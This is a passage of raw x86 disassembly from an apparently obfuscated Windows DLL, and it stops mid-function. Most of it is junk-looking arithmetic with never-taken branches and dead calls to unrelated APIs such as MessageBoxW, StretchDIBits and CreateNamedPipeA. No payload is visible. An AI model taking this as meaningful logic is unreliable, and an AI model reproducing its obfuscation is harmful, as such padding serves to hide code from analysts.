xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1000e6b5
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], eax
jl 0x1000e6b2
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000e6ad
push 0x205d
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x1000e696
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x1000e68e
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000e6d8
push 0x10b1
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
jmp 0x1000e6d8
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp eax, 0xa644184
jne 0x1000e71b
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1104]
sub ecx, esi
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
sete cl
cmp ecx, eax
je 0x1000e715
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov edx, eax
jmp 0x1000e71d
mov edx, ebx
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], ebx
xor eax, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x38], 0x566a927
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], 0x8fecf792
mov dword [ebp - 0x38], 0xfffd
mov dword [ebp - 0x40], 0xfffffffc
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1000e79b
cmp dword [ebp - 0x40], eax
je 0x1000e79b
mov eax, ebx
mov dword [ebp - 0x10], eax
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setge dl
cmp edx, 0xaa9ac70c
sbb eax, eax
neg eax
sub eax, 0x8c7c75f
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000e7dd
push 0x1201
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov byte [ebp - 0x21], al
lea ecx, [ebp - 0x4e0]
push edi
call fcn.10028d1f
mov dword [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x10], 0x16d21b18
mov dword [ebp - 0x48], 0x1d4b082b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1000e825
push dword [ebp - 0x20]
lea ecx, [ebp - 0x4e0]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000e80b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000e845
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x820], 0x3245f1db
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000e82d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000e85b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x13d0], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000e84a
push ebx
lea ecx, [ebp - 0x4e0]
call fcn.10028dbd
mov dword [eax], 0xffffffe5
jmp 0x1000e90f
mov dword [ebp - 0x1c], 0xd37ad43
xor eax, eax
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x44], 0xa61bf079
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000e8fc
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x44], 0x8593f9be
mov dword [ebp - 0x10], eax
jmp 0x1000e8ba
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1388], 0x9a2b441a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000e8a9
mov eax, dword [ebp - 0x820]
xor ecx, ecx
test eax, eax
push ebx
setg cl
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x4e0]
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax]
jl 0x1000e8ed
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1000e8ef
mov eax, ebx
jmp 0x1000e8ef
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000e896
cmp dword [ebp - 0x10], eax
jne 0x1000e924
push ebx
lea ecx, [ebp - 0x4e0]
call fcn.10028dbd
inc dword [eax]
push ebx
lea ecx, [ebp - 0x4e0]
call fcn.10028dbd
cmp dword [eax], 8
jl 0x1000e877
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4e0]
call fcn.10028da1
cmp byte [ebp - 0x21], 0
je 0x1000ea4b
mov dword [ebp - 0x1c], 0x13b91020
lea ecx, [ebp - 0xd24]
mov dword [ebp - 0x44], 0xfffffffd
push ebx
call fcn.10028d1f
mov dword [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x40], 0xfff7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000e989
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd24]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000e96f
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000ea19
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0xec0]
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], 0x9d43467
mov dword [ebp - 0x44], esi
push edi
call fcn.10028d1f
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x44], 0x23ccde6b
mov dword [ebp - 0x44], 0x5cd3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000e9f2
push dword [ebp - 0x10]
lea ecx, [ebp - 0xec0]
call fcn.10028dbd
mov dword [eax], 0x80e033c2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000e9d4
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000ea04
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
inc dword [ebp - 0x40]
lea ecx, [ebp - 0xec0]
mov byte [ebp - 4], 0x1d
call fcn.10028da1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1b
jge 0x1000e991
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd24]
call fcn.10028da1
push 0xa09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x1000ce78
push esi
lea ecx, [ebp - 0x9e4]
call fcn.10028d1f
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x40], 0xfffffff9
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], eax
push esi
call fcn.10028d1f
mov byte [ebp - 4], 0x20
xor eax, eax
mov dword [ebp - 0x18], 0x48ae
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000eabb
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9e4]
call fcn.10028dbd
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000ea9d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000eade
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1d4]
call fcn.10028dbd
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000eac3
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000eaf4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf40], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000eae3
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x1d4]
push ebx
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x1d4]
push eax
call fcn.10028dbd
push edi
lea ecx, [ebp - 0x1d4]
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x30]
setg cl
sub ecx, eax
cmp dword [ebp - 0x28], ecx
jl 0x1000eb3e
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1000eb3e
mov eax, dword [ebp - 0x18]
push ebx
lea ecx, [ebp - 0x1d4]
call fcn.10028dbd
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x1d4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
push ebx
call fcn.10028dbd
mov esi, ebx
lea ecx, [ebp - 0x1d4]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.10028dbd
push edi
lea ecx, [ebp - 0x1d4]
mov eax, dword [eax]
imul eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x1d4]
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x9e4]
mov eax, dword [ebp - 0xf34]
xor eax, eax
push eax
call fcn.10028dbd
push ebx
lea ecx, [ebp - 0x1d4]
inc dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
call fcn.10028dbd
mov edx, dword [ebp - 0xf34]
mov esi, eax
mov ecx, dword [ebp - 0x40]
xor eax, eax
cmp ecx, edx
push 2
setg al
sub eax, dword [esi]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
mov edi, dword [sym.imp.GDI32.dll_StretchDIBits]
pop esi
jg 0x1000ecb5
push 3
pop ecx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1000eca9
mov dword [ebp - 0x38], 0xab2a44bf
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x1000ec8c
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000ec61
push 0x114a
push 0x1981
push eax
push eax
push 0x22ac
push 0x21a6
push 0x4b5
push 0x2310
push 0x1185
push 0xe4a
push 0x249d
push 0x515
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000ec82
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000ec78
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor eax, eax
mov dword [ebp - 0x38], 0xffffc022
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000ec66
dec dword [ebp - 0x28]
jns 0x1000ec12
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1d4]
call fcn.10028dbd
dec dword [ebp - 0x30]
push 0
pop eax
jns 0x1000ec03
push 3
pop ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1000ebf7
lea ecx, [ebp - 0x1d4]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9e4]
call fcn.10028da1
mov dword [ebp - 0x1c], 0xbc662a2b
xor eax, eax
mov dword [ebp - 0x10], 0x7d50f82b
mov dword [ebp - 0x40], 0x260d
mov dword [ebp - 0x38], 0xfffffff8
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1000ed10
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1020], 0x37400631
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1000ecf8
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000ed2c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x700], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000ed18
xor eax, eax
cmp dword [ebp - 0x1018], eax
jne 0x1000ed40
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1014]
xor edx, edx
inc dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x6fc]
mov ecx, dword [ebp - 0x1c]
imul ecx, eax
mov eax, dword [ebp - 0x40]
push 3
pop esi
push esi
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
setg dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xfe6b87c2
lea ecx, [ebp - 0x18c]
setg dl
cmp eax, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
call fcn.10028d1f
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0xb04]
xor eax, eax
mov dword [ebp - 0x10], 0xc4e2bf5
mov dword [ebp - 0x1c], eax
push esi
call fcn.10028d1f
push 0xfffffffffffffff6
mov byte [ebp - 4], 0x22
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000ede6
push dword [ebp - 0x18]
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000edcc
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000ee0c
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb04]
call fcn.10028dbd
mov dword [eax], 0xe8af
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000edee
xor eax, eax
push eax
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x18c]
push eax
call fcn.10028dbd
mov eax, dword [eax]
sub eax, 0x66e9
jne 0x1000ee46
push eax
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
cmp dword [eax], 0
jne 0x1000ee46
xor eax, eax
mov esi, eax
jmp 0x1000ee4a
mov esi, ebx
xor eax, eax
push eax
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
imul ecx, esi, 0xd54
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x18c]
setne dl
xor eax, eax
cmp edx, 0xffffffff
setg al
imul esi, eax, 0x7412
xor eax, eax
push eax
call fcn.10028dbd
xor ecx, ecx
mov eax, dword [eax]
add eax, esi
cmp eax, 0xfffffff8
mov eax, dword [ebp - 0x10]
setge cl
imul eax, ecx
test eax, eax
jne 0x1000eeac
push eax
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
cmp dword [eax], 0
jne 0x1000eeac
xor eax, eax
mov esi, eax
jmp 0x1000eeae
mov esi, ebx
push 2
lea ecx, [ebp - 0x18c]
call fcn.10028dbd
xor ebx, ebx
lea ecx, [ebp - 0x18c]
cmp esi, dword [eax]
setl bl
xor eax, eax
push eax
call fcn.10028dbd
lea ecx, [ebp - 0xb04]
mov dword [eax], ebx
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
lea ecx, [ebp - 0x18c]
inc dword [eax]
xor eax, eax
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x18c]
push eax
call fcn.10028dbd
mov dword [eax], 0x5ab8
imul eax, dword [ebp - 0x10], 0x5ab8
test eax, eax
jle 0x1000ef15
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x2370
setg cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xb04]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18c]
call fcn.10028da1
mov dword [ebp - 0x1c], 0xbc662a2b
xor eax, eax
mov dword [ebp - 0x10], 0x7d50f82b
mov dword [ebp - 0x40], 0x260d
mov dword [ebp - 0x38], 0xfffffff8
push 4
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x1000ef83
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf60], 0x37400631
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000ef6b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1000efa1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c0], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000ef8c
xor eax, eax
cmp dword [ebp - 0xf58], eax
jne 0x1000efb5
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xf54]
xor edx, edx
inc dword [ebp - 0x7bc]
mov eax, dword [ebp - 0x7bc]
mov ecx, dword [ebp - 0x1c]
imul ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
setg dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xfe6b87c2
setg dl
cmp eax, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x18], 0x324ec2e0
mov dword [ebp - 0x18], eax
mov eax, 0xfffc
cmp dword [ebp - 0x18], 0xfffffff1
je 0x1000f043
lea ecx, [eax + 3]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x865425a8
mov dword [ebp - 0x40], 0xe52d
mov eax, dword [ebp - 0x40]
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, 0xfffc
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jne 0x1000f019
mov eax, dword [ebp - 0x18]
add eax, 0xb6d0
je 0x1000f09f
mov dword [ebp - 0x10], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x38], 8
inc ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x10], ebx
jle 0x1000f06c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, ebx
setle cl
xor edx, edx
add ecx, 0xfffb
cmp ecx, esi
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
add edx, 0xb7a64487
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
jmp 0x1000f0d2
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000f0cf
push eax
push 0xfc2
push 0x12bc
push 0x269a
push 0x60a
push 0x16c7
push 0x641
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor ebx, ebx
inc ebx
push 3
pop esi
push esi
lea ecx, [ebp - 0x9fc]
call fcn.10028d1f
mov dword [ebp - 4], 0x23
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x40], 0xfffffff9
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], eax
push esi
call fcn.10028d1f
mov byte [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x18], 0x48ae
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000f139
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9fc]
call fcn.10028dbd
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000f11b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000f15c
push dword [ebp - 0x20]
lea ecx, [ebp - 0x174]
call fcn.10028dbd
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000f141
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000f172
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x10c0], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000f161
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x174]
push ebx
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x174]
push eax
call fcn.10028dbd
push 2
lea ecx, [ebp - 0x174]
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x30]
setg cl
sub ecx, eax
cmp dword [ebp - 0x28], ecx
jl 0x1000f1bd
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1000f1bd
mov eax, dword [ebp - 0x18]
push ebx
lea ecx, [ebp - 0x174]
call fcn.10028dbd
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x174]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
push ebx
call fcn.10028dbd
mov esi, ebx
lea ecx, [ebp - 0x174]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.10028dbd
push 2
lea ecx, [ebp - 0x174]
mov eax, dword [eax]
imul eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x174]
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x9fc]
mov eax, dword [ebp - 0x10b4]
xor eax, eax
push eax
call fcn.10028dbd
push ebx
lea ecx, [ebp - 0x174]
inc dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
call fcn.10028dbd
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x10b4]
xor eax, eax
cmp edx, ecx
push 2
setg al
sub eax, dword [esi]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
pop esi
cmp dword [ebp - 0x2c], esi
jg 0x1000f32f
push 3
pop ecx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1000f323
mov dword [ebp - 0x38], 0xab2a44bf
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x1000f306
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000f2db
push 0x114a
push 0x1981
push eax
push eax
push 0x22ac
push 0x21a6
push 0x4b5
push 0x2310
push 0x1185
push 0xe4a
push 0x249d
push 0x515
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000f2fc
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x174]
call fcn.10028dbd
dec dword [ebp - 0x30]
push 0
pop eax
jns 0x1000f27d
push 3
pop ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1000f271
lea ecx, [ebp - 0x174]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9fc]
call fcn.10028da1
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000f36e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1250], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000f356
xor eax, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x28], 0xfffffff7
jmp 0x1000f3ae
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000f392
cmp dword [ebp - 0x28], 0x29
jge 0x1000f37a
push 3
pop esi
push esi
lea ecx, [ebp - 0x180]
call fcn.10028d1f
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0xb40]
xor eax, eax
mov dword [ebp - 0x10], 0xc4e2bf5
mov dword [ebp - 0x1c], eax
push esi
call fcn.10028d1f
push 0xfffffffffffffff6
mov byte [ebp - 4], 0x26
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000f410